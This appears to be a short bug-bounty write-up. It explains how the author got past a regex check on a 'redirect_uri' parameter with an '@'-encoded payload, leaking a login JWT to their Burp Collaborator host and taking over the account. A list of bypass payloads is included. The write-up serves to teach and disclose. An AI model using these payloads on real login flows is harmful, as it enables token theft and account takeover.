Open Redirect Validation Bypass Leads To Account Take Over (ATO)

I discovered This vulnerability during an engagement

First, I started to understand and browse the website. Then, I focused on the register function, and my attention was immediately drawn to the “redirect_uri” parameter.

I attempted to test for an open redirect, but unfortunately, there was a (regex) validation for the parameter. I continued with the normal registration process.

I noticed that after registering, when attempting to log in, there was a GET request redirection along with the “access_token” parameter. The “access_token” contained a JWT token for the user.

Redirection with access token parameter

So In other words, if I could obtain it, it would result in a full ATO!

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

I tried to find a bypass for the “redirect_uri” parameter to achieve ATO. The issue is that the validation requires the host to be “redirect_uri=target.com”. If I modify the domain or the TLD, I receive an error.

After understanding the regex applied to the “redirect_uri” parameter, I attempted the following payloads:

1. redirect_uri=trarget.com/%09/myburpcollab.com
2. redirect_uri=trarget.com//myburpcollab.com
3. redirect_uri=trarget.com\myburpcollab.com
4. redirect_ur=target.com/ /myburpcollab.com
5. redirect_uri=target.com&redirect_uri=attacker.com
6. and more…

Unfortunately, none of them worked. However, when I tried redirect_uri=target.com%40myburpcollab.com and logged in, it resulted in a redirect to burp collab!!

Request to My Burp collaborator!!

I was able to obtain the access_token because it was present in the URL parameter . So, I directly took the “access_token” parameter and added it after the Target domain like this: target.com/?access_token=jwt-token. This allowed me to gain full access to the account!

don't forget to follow me on Twitter\X: https://twitter.com/omarzzu/